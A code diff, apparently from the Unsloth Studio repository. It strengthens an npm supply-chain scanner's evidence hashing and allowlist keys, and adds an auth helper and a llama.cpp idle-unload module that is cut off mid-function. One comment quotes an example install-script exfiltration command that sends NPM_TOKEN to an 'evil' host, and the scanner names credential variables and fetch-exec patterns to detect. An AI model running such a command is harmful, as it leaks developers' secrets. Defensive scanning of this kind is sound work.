diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.py index c1d156d40a..47b85147ca 100644 --- a/scripts/scan_npm_packages.py +++ b/scripts/scan_npm_packages.py @@ -40,8 +40,10 @@ from __future__ import annotations import argparse import atexit import base64 as _b64 # imported only so the IOC string-scan can detect it +import bisect import hashlib import io +import itertools import json import os import re @@ -897,20 +899,364 @@ def safe_extract( # ───────────────────────────────────────────────────────────────────── +# How far back to look for an enclosing bracket opener. Symmetric with the +# forward cap so a host that sits deep inside a large options object (its opening +# `{` many properties above) still binds the whole object, not just its own line; +# a too-far start only over-binds (more context, still fail-closed), never less. +_MAX_CONT_LINES = 200 +# Hard cap on how far forward a bracket group is followed to its close, measured +# from the matched line so the tail after the match is always reachable even when +# the opener was found near the backward limit (digest input only, never +# displayed); a realistic config object closes well within it. +_MAX_GROUP_LINES = 200 + +# JS string literal (single / double / template), blanked before counting +# brackets so a bracket inside a string is not mistaken for code. +_RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`") + + +_RE_BRACKETS = re.compile(r"[()\[\]{}]") +_OPENERS = frozenset("([{") + + +def _bracket_lr(line: str) -> tuple[int, int]: + """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)`` + where ``L`` is the count of closers with no opener earlier on the line (they + need an opener to the LEFT / on a prior line) and ``R`` is the count of openers + with no closer later on the line (they need a closer to the RIGHT / on a later + line). A plain net count (opens minus closes) collapses order and so masks a + trailing opener that follows leading closers on the same line, e.g. + ``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config + object; tracking the running minimum keeps that opener visible so the group + binds the path/headers that follow. Only bracket characters are walked (pulled + out with one C-level regex pass) so a long minified line stays cheap.""" + depth = 0 + low = 0 + for ch in _RE_BRACKETS.findall(line): + if ch in _OPENERS: + depth += 1 + else: + depth -= 1 + if depth < low: + low = depth + return -low, depth - low + + +def _find_unescaped(line: str, quote: str, start: int) -> int: + """Index of the next ``quote`` at or after ``start`` not escaped by a backslash, + or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored.""" + i, n = start, len(line) + while i < n: + if line[i] == "\\": + i += 2 + continue + if line[i] == quote: + return i + i += 1 + return -1 + + +# A `/` is a regex literal (not division) when the previous significant character +# is none (start) or one of these expression-position chars. Used only by the +# multi-line blanked view, and the span is unioned with the single-line view, so +# an over- or under-detection only ever grows the bound span (never shrinks it). +_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>") + + +def _blank_js_strings(lines: list[str]) -> list[str]: + """Replace string contents (single, double, multi-line backtick template + literals) AND regex literal bodies with spaces across ``lines``, keeping the + line count and every bracket OUTSIDE a string/regex intact, so bracket counting + never miscounts a ``)`` that lives inside a string -- including a template + literal spanning several lines or a ``/)/`` regex -- which a per-line regex + cannot blank. Escapes are honoured.""" + out: list[str] = [] + in_back = False # inside a multi-line `template` literal + prev_sig = "" # last significant non-space char (for regex-vs-division) + for line in lines: + buf: list[str] = [] + i, n = 0, len(line) + while i < n: + if in_back: + end = _find_unescaped(line, "`", i) + if end == -1: + buf.append(" " * (n - i)) + i = n + else: + buf.append(" " * (end - i + 1)) + i = end + 1 + in_back = False + prev_sig = "`" + continue + ch = line[i] + if ch in " \t": + buf.append(ch) + i += 1 + continue + if ch in "'\"`": + end = _find_unescaped(line, ch, i + 1) + if end == -1: + buf.append(" " * (n - i)) + i = n + if ch == "`": # opens a template literal that runs past this line + in_back = True + else: + buf.append(" " * (end - i + 1)) + i = end + 1 + prev_sig = "v" # a string is a value: a following `/` is division + continue + if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS): + # Regex literal: blank to the closing unescaped `/` outside a `[...]` + # char class. A regex never spans lines, so no close on the line + # means this `/` is really division. + j, in_class, closed = i + 1, False, False + while j < n: + c = line[j] + if c == "\\": + j += 2 + continue + if c == "[": + in_class = True + elif c == "]": + in_class = False + elif c == "/" and not in_class: + j += 1 + closed = True + break + j += 1 + if closed: + buf.append(" " * (j - i)) + i = j + prev_sig = "v" # a regex is a value + continue + buf.append(ch) + i += 1 + prev_sig = "/" + continue + buf.append(ch) + i += 1 + prev_sig = ch + out.append("".join(buf)) + return out + + +def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]: + """Precompute once per evidence call: raw lines for display, two string-blanked + views for bracket counting (single-line via regex = legacy, and multi-line + aware so a template literal spanning lines is blanked), and newline offsets for + O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole + file on every single match (which was O(matches x file size)).""" + lines = text.split("\n") + sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines] + ml_blanked = _blank_js_strings(lines) + nl = [p for p, ch in enumerate(text) if ch == "\n"] + return lines, sl_blanked, ml_blanked, nl + + +# Cap on formatted matches in one evidence string; beyond it the remaining match +# texts are folded into a single digest so a huge/minified file cannot build a +# multi-megabyte evidence blob while an added/removed match past the cap still +# changes the key. +_MAX_EVIDENCE_MATCHES = 64 + + +def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]: + """(start, end) line indices of the bracket group enclosing line ``idx`` in one + blanked view: scan back to the still-open opener, then forward to its close.""" + # Backward: find the line that opens a bracket still unclosed at the match, + # so a match inside a multi-line object starts from the object opener. Each line + # is reduced to (L, R) and applied in order: first the L closers consume open + # brackets from the running context (a stray closer whose opener is outside the + # window only clamps depth at 0, it never goes negative), then the R openers + # add to it. Tracking order this way (rather than a single net per line) keeps a + # trailing opener visible even when leading closers on the same line net it to + # <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a + # changed path/headers after such a line ride the unchanged-hostname key. + start = idx + depth = 0 + for j in range(max(0, idx - _MAX_CONT_LINES), idx): + left, right = _bracket_lr(blanked[j]) + if left >= depth: + depth = 0 # everything opened so far in the window has closed + start = idx + else: + depth -= left + if right > 0: + if depth == 0: + start = j # outermost still-open opener begins here + depth += right + + # Forward: extend until the group opened at `start` closes past the match. The + # same order-aware reduction is used (clamping leading closers at 0) so the + # foreign `})` on the opener line does not drive the count negative and stop the + # scan before the real close. The cap is measured from the match (`idx`), not + # from `start`, so an opener found near the backward limit does not eat the + # whole forward budget and drop the path/headers/body that follow the match. + depth = 0 + end = start + for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)): + left, right = _bracket_lr(blanked[j]) + depth = max(0, depth - left) + right + end = j + if j >= idx and depth <= 0: + break + return start, end + + +def _canon_preserve_strings(text: str) -> str: + """Whitespace canon that collapses runs OUTSIDE string literals to a single + space (so a reindent or spacing change between tokens stays stable) while + preserving whitespace INSIDE single/double/backtick string literals (so a + changed payload body, e.g. ``'a b'`` -> ``'a b'``, reopens). A plain + ``" ".join(text.split())`` erases both, suppressing an intra-literal payload + edit along with harmless indentation. Leading/trailing outside whitespace is + dropped; escapes inside strings are honoured. Used for the evidence hash and + the logical-line digests so the two stay consistent.""" + out: list[str] = [] + i, n = 0, len(text) + quote: str | None = None + pending_space = False + while i < n: + ch = text[i] + if quote is not None: + out.append(ch) + if ch == "\\" and i + 1 < n: + out.append(text[i + 1]) + i += 2 + continue + if ch == quote: + quote = None + i += 1 + continue + if ch.isspace(): + pending_space = True + i += 1 + continue + if pending_space and out: + out.append(" ") + pending_space = False + out.append(ch) + if ch in "'\"`": + quote = ch + i += 1 + return "".join(out) + + +def _logical_line_text( + lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int +) -> str: + """The matched line plus the bracket group it belongs to (the enclosing + multi-line object/call, so a changed ``path``/``headers``/body on another line + binds). Returns the UNION of the groups found in the single-line-blanked view + (legacy: a payload embedded inside a template still counts so its brackets bind + the call) and the multi-line-blanked view (a bracket inside a template literal + spanning lines no longer closes the group early). Unioning never shrinks the + span below either view, so neither blanking strategy can drop a line a + malicious change relies on.""" + s1, e1 = _scan_group(sl_blanked, idx) + s2, e2 = _scan_group(ml_blanked, idx) + start, end = min(s1, s2), max(e1, e2) + return " ".join(lines[start : end + 1]) + + +def _format_match( + text: str, + lines: list[str], + sl_blanked: list[str], + ml_blanked: list[str], + nl: list[int], + m: re.Match, + max_chars: int, +) -> str: + # The shown snippet is a small window around the match; append a digest of the + # full LOGICAL line (the matched line plus its bracket-continuation lines) + # whenever the snippet does not already show all of it, so a changed payload + # tail, a truncated body, or a multi-line option/header reopens. Offsets are + # mapped to line numbers via bisect over precomputed newline positions, so this + # is O(log n) instead of rescanning the file prefix for every match. + idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the match + line_start = nl[idx - 1] + 1 if idx > 0 else 0 + ke = bisect.bisect_left(nl, m.end()) + line_end = nl[ke] if ke < len(nl) else len(text) + full_logical = _logical_line_text(lines, sl_blanked, ml_blanked, idx) + start = max(line_start, m.start() - 30) + end = min(line_end, m.end() + 30) + snippet = text[start:end].replace("\n", " ") + if len(snippet) > max_chars: + snippet = snippet[:max_chars] + "..." + if snippet != full_logical: + # Normalize before digesting, matching _evidence_hash, so a formatter-only + # reindent of the bound continuation lines does not reopen -- but preserve + # whitespace inside string literals so a changed request/payload body does. + canon = _canon_preserve_strings(full_logical) + digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest() + snippet = f"{snippet} sha256:{digest}" + return snippet + + +def _stream_overflow_digest( + matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int] +) -> tuple[int, str]: + """A single digest binding the LOGICAL line (the bound bracket-group context, + not just the regex match text) of every overflow match in the iterable, plus + the count of matches folded. Streams the matches (any iterable of re.Match) so a + huge overflow never materializes a list. Whitespace-normalized to match + _evidence_hash so a reindent does not reopen.""" + h = hashlib.sha256() + count = 0 + for m in matches: + _fold_overflow_match(h, m, lines, sl_blanked, ml_blanked, nl) + count += 1 + return count, h.hexdigest() + + +def _fold_overflow_match( + h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int] +) -> None: + """Fold one overflow match's whitespace-normalized logical-line context into the + running hash ``h``. Shared by _stream_overflow_digest and the inline overflow + fold in _outbound_host_evidence so both produce the identical digest.""" + idx = bisect.bisect_left(nl, m.start()) + ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx) + h.update(b"\x00") + h.update(_canon_preserve_strings(ll).encode("utf-8", "replace")) + + def _evidence( text: str, pat: re.Pattern, max_chars: int = 200, ) -> str: - m = pat.search(text) - if not m: + # Record every match (not a truncated sample) so an extra match appended to an + # already-flagged file changes the evidence instead of riding the first few. + # Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest + # (binding their logical-line context) so the evidence string stays bounded + # while a changed payload past the cap still reopens. The matches are streamed + # from finditer rather than materialized into a list: a generated file can + # repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a + # re.Match per occurrence before applying the cap would stall or OOM the scan. + it = pat.finditer(text) + shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES)) + if not shown_matches: return "" - start = max(0, m.start() - 30) - end = min(len(text), m.end() + 30) - snippet = text[start:end].replace("\n", " ") - if len(snippet) > max_chars: - snippet = snippet[:max_chars] + "..." - return snippet + lines, sl_blanked, ml_blanked, nl = _index_text(text) + shown = [ + _format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches + ] + # Fold the rest (past the cap) into one digest as they arrive, never building a + # second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:]. + overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl) + if overflow_count: + shown.append(f"(+{overflow_count} more) sha256:{digest}") + return " | ".join(shown) + + +def _ioc_evidence(text: str, needle: str) -> str: + """Matched-line context (with bracket-group continuation) for a literal IOC + needle, so a changed adjacent fetch/exfil body reopens the key instead of + riding the bare constant. Falls back to the needle itself if, defensively, + nothing matches (the caller only reaches here when ``needle in text``).""" + return _evidence(text, re.compile(re.escape(needle))) or needle LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare") @@ -1129,6 +1475,18 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: body = scripts.get(hook) if not isinstance(body, str): continue + # Pin the whole lifecycle body via one digest shared by every lifecycle + # finding below: a script that keeps the matched signal but changes + # another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN" + # https://evil`) must reopen. The stored evidence is a bounded matched + # snippet plus this digest, never the entire body, so `--write-baseline` + # on a package with a multi-MiB install script does not bloat the baseline + # JSON while the digest still binds the full body. Normalized to match + # _evidence_hash so a reindent alone does not reopen, while whitespace + # inside quoted strings is preserved so a changed quoted payload does. + body_digest = hashlib.sha256( + _canon_preserve_strings(body).encode("utf-8", "replace") + ).hexdigest() if _LIFECYCLE_FETCH_EXEC.search(body): findings.append( Finding( @@ -1136,7 +1494,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"lifecycle-fetch-exec ({hook})", - evidence = body, + evidence = f"{_evidence(body, _LIFECYCLE_FETCH_EXEC)} body-sha256:{body_digest}", detail = ( f"`scripts.{hook}` fetches an external " "resource and pipes/chains it to an " @@ -1155,7 +1513,10 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"cred-path-in-lifecycle ({hook})", - evidence = body, + evidence = ( + f"{_evidence(body, re.compile(re.escape(path_substr)))} " + f"body-sha256:{body_digest}" + ), detail = ( f"`scripts.{hook}` references {why} " f"({path_substr!r}); install-time access " @@ -1171,7 +1532,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"cred-env-in-lifecycle ({hook})", - evidence = _evidence(body, _JS_ENV_TOKEN), + evidence = f"{_evidence(body, _JS_ENV_TOKEN)} body-sha256:{body_digest}", detail = ( f"`scripts.{hook}` references a credential " "env var (GITHUB_TOKEN / NPM_TOKEN / AWS_* " @@ -1237,6 +1598,60 @@ def _host_in_outbound_context(text: str, host: str) -> bool: return False +def _outbound_host_evidence(text: str, host: str) -> str: + """Evidence capturing the host WITH its outbound context (URL path, fetch + call, host config), so a changed path/headers/body reopens the key instead + of riding the bare host literal. Falls back to the host if none matches.""" + host_re = re.escape(host) + patterns = ( + re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE), + re.compile( + rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}[^\n]{{0,200}}" + rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}", + re.IGNORECASE, + ), + # Host-config form: capture the whole line (path/headers/body), so a + # changed outbound payload on the same hostname line reopens the key. + re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE), + ) + # Record EVERY outbound context for the host, not just the first form that + # matches: a file that already has a baselined URL for the host and later adds + # a separate host-config request (or a second URL) must change the evidence so + # the new payload cannot inherit the old key. Forms are claimed in order, and a + # region already claimed by an earlier form is skipped, so the common + # single-context case keeps its existing snippet. Each form is capped at + # _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a + # minified file cannot make the overlap check quadratic; once chosen is full + # the rest are folded into a digest AS THEY ARRIVE (never accumulated into a + # list, so a host repeated millions of times cannot OOM the scan) and an added + # context still reopens. + lines, sl_blanked, ml_blanked, nl = _index_text(text) + claimed: list[tuple[int, int]] = [] + chosen: list[re.Match] = [] + overflow_count = 0 + overflow_hash = hashlib.sha256() + for pat in patterns: + for m in pat.finditer(text): + if len(chosen) < _MAX_EVIDENCE_MATCHES: + # Overlap check runs only while filling the display list, so + # `claimed` is bounded by the cap and this stays O(cap) per match + # (not quadratic), while every later match is still counted below. + if any(m.start() < e and s < m.end() for s, e in claimed): + continue + claimed.append((m.start(), m.end())) + chosen.append(m) + else: + _fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl) + overflow_count += 1 + if not chosen: + return host + chosen.sort(key = lambda m: m.start()) + shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen] + if overflow_count: + shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}") + return " | ".join(shown) + + def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: findings: list[Finding] = [] @@ -1248,7 +1663,10 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: if rel.lower().endswith(_JS_FAMILY_SUFFIXES): text = _strip_js_noncode(text) - # IOC substrings (literal, case-sensitive). + # IOC substrings (literal, case-sensitive). Evidence is the matched-line + # context (with its bracket-group continuation), not the bare needle: an IOC + # host/hash left in place while the adjacent fetch/exfil body changes must + # reopen the key instead of riding the constant. for needle, (sev, why) in KNOWN_IOC_STRINGS.items(): if needle in text: findings.append( @@ -1257,12 +1675,14 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "known-ioc-string", - evidence = needle, + evidence = _ioc_evidence(text, needle), detail = f"{why}: {needle!r}", ) ) - # Cred surfaces, tier 1: hosts with no legit use; bare substring. + # Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context + # (path/headers/body) when present so a changed exfil payload on the same call + # reopens; falls back to the bare host when it is not in an outbound call. for needle, why in CRED_HOST_ALWAYS_BAD: if needle in text: findings.append( @@ -1271,7 +1691,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "cred-surface-host (always-bad)", - evidence = needle, + evidence = _outbound_host_evidence(text, needle), detail = ( f"references {why} ({needle!r}); no legitimate " "frontend use of this surface" @@ -1289,7 +1709,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "cred-surface-host (outbound)", - evidence = needle, + evidence = _outbound_host_evidence(text, needle), detail = ( f"references {why} ({needle!r}) in an outbound " "call / URL / host config; a defensive blocklist " @@ -1393,7 +1813,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]: package = pkg.display, filename = rel, pattern = "known-ioc-string", - evidence = needle, + evidence = _ioc_evidence(text, needle), detail = f"{why}: {needle!r}", ) ) @@ -1453,11 +1873,11 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N _DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json") -# Bumped when the entry-key semantics change. v2 keys on the package-relative -# path; v1 stored only a basename, so a v1 entry could suppress a same-named file -# in a different directory. A pre-v2 baseline with entries is ignored (fail -# closed) rather than mis-applied. -_BASELINE_SCHEMA_VERSION = 2 +# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new +# payload under an already-listed package/path/pattern is not auto-suppressed; v2 +# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline +# with entries is ignored (fail closed) rather than mis-applied. +_BASELINE_SCHEMA_VERSION = 3 def _norm_pkg_name(display: str) -> str: @@ -1486,12 +1906,28 @@ def _relpath_in_package(filename: str) -> str: return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f -def _finding_key(f: Finding) -> tuple[str, str, str]: - """Stable allowlist key: normalized package, package-relative path, pattern.""" - return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern) +def _evidence_hash(evidence: str) -> str: + """Stable digest of the matched evidence. The npm snippet carries no line + markers, so it is already version-stable; whitespace outside string literals is + collapsed (reindent-stable) while whitespace inside literals is preserved, so a + changed payload body reopens but a formatter reindent does not.""" + canon = _canon_preserve_strings(evidence or "") + return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest() -def _load_baseline(path: str) -> set[tuple[str, str, str]]: +def _finding_key(f: Finding) -> tuple[str, str, str, str]: + """Allowlist key: normalized package, package-relative path, pattern, and a + hash of the matched evidence -- so changed flagged code under an already-listed + package/path/pattern reopens instead of riding the reviewed entry.""" + return ( + _norm_pkg_name(f.package), + _relpath_in_package(f.filename), + f.pattern, + _evidence_hash(f.evidence or f.detail), + ) + + +def _load_baseline(path: str) -> set[tuple[str, str, str, str]]: """Load an allowlist JSON into a set of match keys. Missing file -> empty.""" try: with open(path, "r", encoding = "utf-8") as fh: @@ -1501,27 +1937,55 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]: except (OSError, json.JSONDecodeError) as exc: print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr) return set() + if not isinstance(data, dict): + print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr) + return set() entries = data.get("entries", []) - if entries and data.get("version") != _BASELINE_SCHEMA_VERSION: + if not isinstance(entries, list): + print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr) + return set() + # v2 shares v3's package-relative keying, so its entries migrate by recomputing + # the evidence hash from their stored evidence; only pre-v2 (basename) is rejected. + if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2): print( f" [WARN] baseline schema v{data.get('version')} predates package-relative " f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.", file = sys.stderr, ) return set() - keys: set[tuple[str, str, str]] = set() + keys: set[tuple[str, str, str, str]] = set() + legacy = 0 for e in entries: + if not isinstance(e, dict): + continue try: - keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"])) + evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "") + if not e.get("evidence_hash"): + legacy += 1 + keys.add( + ( + _norm_pkg_name(e["package"]), + _relpath_in_package(e["file"]), + e["pattern"], + evidence_hash, + ) + ) except (KeyError, TypeError): continue + if legacy: + print( + f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may " + f"not suppress until regenerated with --write-baseline (findings reopen " + f"rather than risk hiding changed code under a coarse key)", + file = sys.stderr, + ) return keys def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int: """Persist at-or-above-threshold findings as an allowlist for triage.""" entries = [] - seen: set[tuple[str, str, str]] = set() + seen: set[tuple[str, str, str, str]] = set() for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)): if _SEVERITY_RANK[f.severity] > threshold_rank: continue @@ -1529,21 +1993,24 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> if key in seen: continue seen.add(key) + evidence = f.evidence or f.detail entries.append( { "package": _norm_pkg_name(f.package), "file": _relpath_in_package(f.filename), "pattern": f.pattern, "severity": f.severity, - "evidence": (f.evidence or f.detail)[:240], + "evidence": evidence, + "evidence_hash": _evidence_hash(evidence), } ) doc = { "_comment": ( "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL " "finding manually judged benign. Matched on (package, " - "package-relative path, pattern); evidence/severity are for review " - "only. Regenerate with --write-baseline AFTER reviewing every line." + "package-relative path, pattern, evidence hash); a new payload under " + "an already-listed package/path/pattern reopens. severity is for " + "review only. Regenerate with --write-baseline AFTER reviewing every line." ), "version": _BASELINE_SCHEMA_VERSION, "entries": entries, @@ -1556,7 +2023,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> def _partition_baseline( - findings: list[Finding], baseline: set[tuple[str, str, str]] + findings: list[Finding], baseline: set[tuple[str, str, str, str]] ) -> tuple[list[Finding], list[Finding]]: """Split findings into (active, suppressed) by allowlist membership.""" if not baseline: diff --git a/scripts/scan_npm_packages_baseline.json b/scripts/scan_npm_packages_baseline.json index 61d8e74023..6ed3cedef9 100644 --- a/scripts/scan_npm_packages_baseline.json +++ b/scripts/scan_npm_packages_baseline.json @@ -1,5 +1,5 @@ { - "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.", - "version": 2, + "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.", + "version": 3, "entries": [] } diff --git a/studio/backend/auth/authentication.py b/studio/backend/auth/authentication.py index 9dd56489eb..b13cd1c851 100644 --- a/studio/backend/auth/authentication.py +++ b/studio/backend/auth/authentication.py @@ -143,6 +143,17 @@ async def get_current_subject(credentials: HTTPAuthorizationCredentials = Depend ) +async def authenticated_via_api_key( + credentials: HTTPAuthorizationCredentials = Depends(security), +) -> bool: + """True when the caller used an sk-unsloth API key, not a UI session JWT. + + Lets routes treat programmatic API callers differently from the Studio UI + (e.g. refuse a teardown the UI would allow). + """ + return bool(credentials and credentials.credentials.startswith(API_KEY_PREFIX)) + + async def get_current_subject_allow_password_change( credentials: HTTPAuthorizationCredentials = Depends(security), ) -> str: diff --git a/studio/backend/core/inference/llama_keepwarm.py b/studio/backend/core/inference/llama_keepwarm.py new file mode 100644 index 0000000000..4ce663c3ce --- /dev/null +++ b/studio/backend/core/inference/llama_keepwarm.py @@ -0,0 +1,298 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Opt-in idle auto-unload (TTL keep-warm) for the local llama.cpp model. + +Off by default (idle seconds = 0). When enabled, a background loop unloads the +loaded GGUF once it has been idle for the configured TTL, freeing VRAM. A +pure-ASGI middleware tracks in-flight inference requests so a long stream that +outlives the TTL is never unloaded mid-response. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import threading +import time + +from loggers import get_logger + +logger = get_logger(__name__) + +_lock = threading.Lock() +_inflight = 0 +# Requests blocked on the unload gate but not yet counted in _inflight: the idle +# loop must not unload while one is waiting (it would unload out from under it). +_pending = 0 +_last_active = time.monotonic() +# The (id, quant) idle-unload last freed, so an alias/unknown request that would +# otherwise 503 against an empty backend can reload it (set on unload, cleared on +# reload). Storing the quant means the reload restores the exact freed variant. +_last_unloaded_model = None +# Guards inflight bumps against the idle-check-then-unload race, and blocks new +# inference from starting mid-swap. Process-wide, not per-loop: the backend slot is +# shared across every event loop in the process, so a per-loop gate would let a +# request on loop B start inference while a swap on loop A tears the model down. +_lifecycle_lock = threading.Lock() + + +@contextlib.asynccontextmanager +async def _unload_gate(): + # Acquire off the loop: non-blocking first (the common uncontended case), else + # poll a non-blocking acquire off a short sleep. Polling keeps the wait off this + # loop AND cancellation-safe -- a cancel lands during the sleep, when the gate is + # not held, so it never leaks (mirrors the auto-switch swap gate). + while not _lifecycle_lock.acquire(blocking = False): + await asyncio.sleep(0.02) + try: + yield + finally: + _lifecycle_lock.release() + + +_INFERENCE_PREFIXES = ("/v1/", "/api/inference/") +_INFERENCE_SUFFIXES = ( + "/chat/completions", + "/completions", + "/messages", + "/messages/count_tokens", # counts via the loaded tokenizer; protect like /messages + "/embeddings", + "/responses", + "/generate/stream", # Studio's own streaming route on the same llama-server + "/audio/generate", # direct GGUF TTS; can outlive the idle TTL +) + + +def _is_inference_path(path: str) -> bool: + if path.startswith(_INFERENCE_PREFIXES) and path.endswith(_INFERENCE_SUFFIXES): + return True + # Public checkpoint preview (/p/{run}/v1/chat/completions) delegates to the + # chat handler and streams from the same backend, so protect it from idle unload. + return path.startswith("/p/") and path.endswith("/v1/chat/completions") + + +def _note_pending() -> None: + global _pending + with _lock: + _pending += 1 + + +def _note_unpending() -> None: + global _pending + with _lock: + _pending = max(0, _pending - 1) + + +def _note_start() -> None: + # Do not stamp _last_active here: while _inflight > 0 the model is already + # protected (see _is_idle), and stamping on start lets an external-provider + # request that is later untracked still reset the local idle timer. + global _inflight, _pending + with _lock: + _pending = max(0, _pending - 1) + _inflight += 1 + + +def _note_end() -> None: + global _inflight, _last_active + with _lock: + _inflight = max(0, _inflight - 1) + _last_active = time.monotonic() + + +def _note_untracked_end() -> None: + # Drop a request that never used the local GGUF without stamping local + # activity, so periodic external-provider traffic can't keep the model warm. + global _inflight + with _lock: + _inflight = max(0, _inflight - 1) + + +def _is_idle(ttl_seconds: float) -> bool: + with _lock: + return _inflight == 0 and _pending == 0 and (time.monotonic() - _last_active) >= ttl_seconds + + +def _note_activity() -> None: + """Stamp activity, e.g. on a (re)load, so the model survives at least one TTL.""" + global _last_active + with _lock: + _last_active = time.monotonic() + + +def other_inference_request_count( + current_request_counted: bool = True, *, include_pending: bool = True +) -> int: + """Tracked inference requests other than the current route call. + + The middleware counts OpenAI-compatible requests before route code runs, so + the caller is excluded by default. Idle-unload counts pending waiters too (a + swap holding the gate would unload out from under them). The swap guard passes + include_pending=False: a pending request is blocked in the middleware and has + not started inference, so it can't be the request a swap would interrupt. + """ + with _lock: + active = _inflight + if current_request_counted and active > 0: + active -= 1 + return max(0, active) + (_pending if include_pending else 0) + + +# Set on the ASGI scope by a route that proved this request won't touch +# llama.cpp (e.g. it proxied to an external provider), so the keep-warm count +# excludes it and the middleware skips its own end-decrement. +_UNTRACKED_SCOPE_KEY = "_unsloth_keepwarm_untracked" + + +def untrack_current_request(scope) -> None: + """Drop this request from the in-flight count once the route knows it won't + use the local GGUF, so unrelated external-provider traffic can't trip the + swap busy guard. Idempotent; the middleware then skips its end-decrement.""" + if not isinstance(scope, dict) or scope.get(_UNTRACKED_SCOPE_KEY): + return + 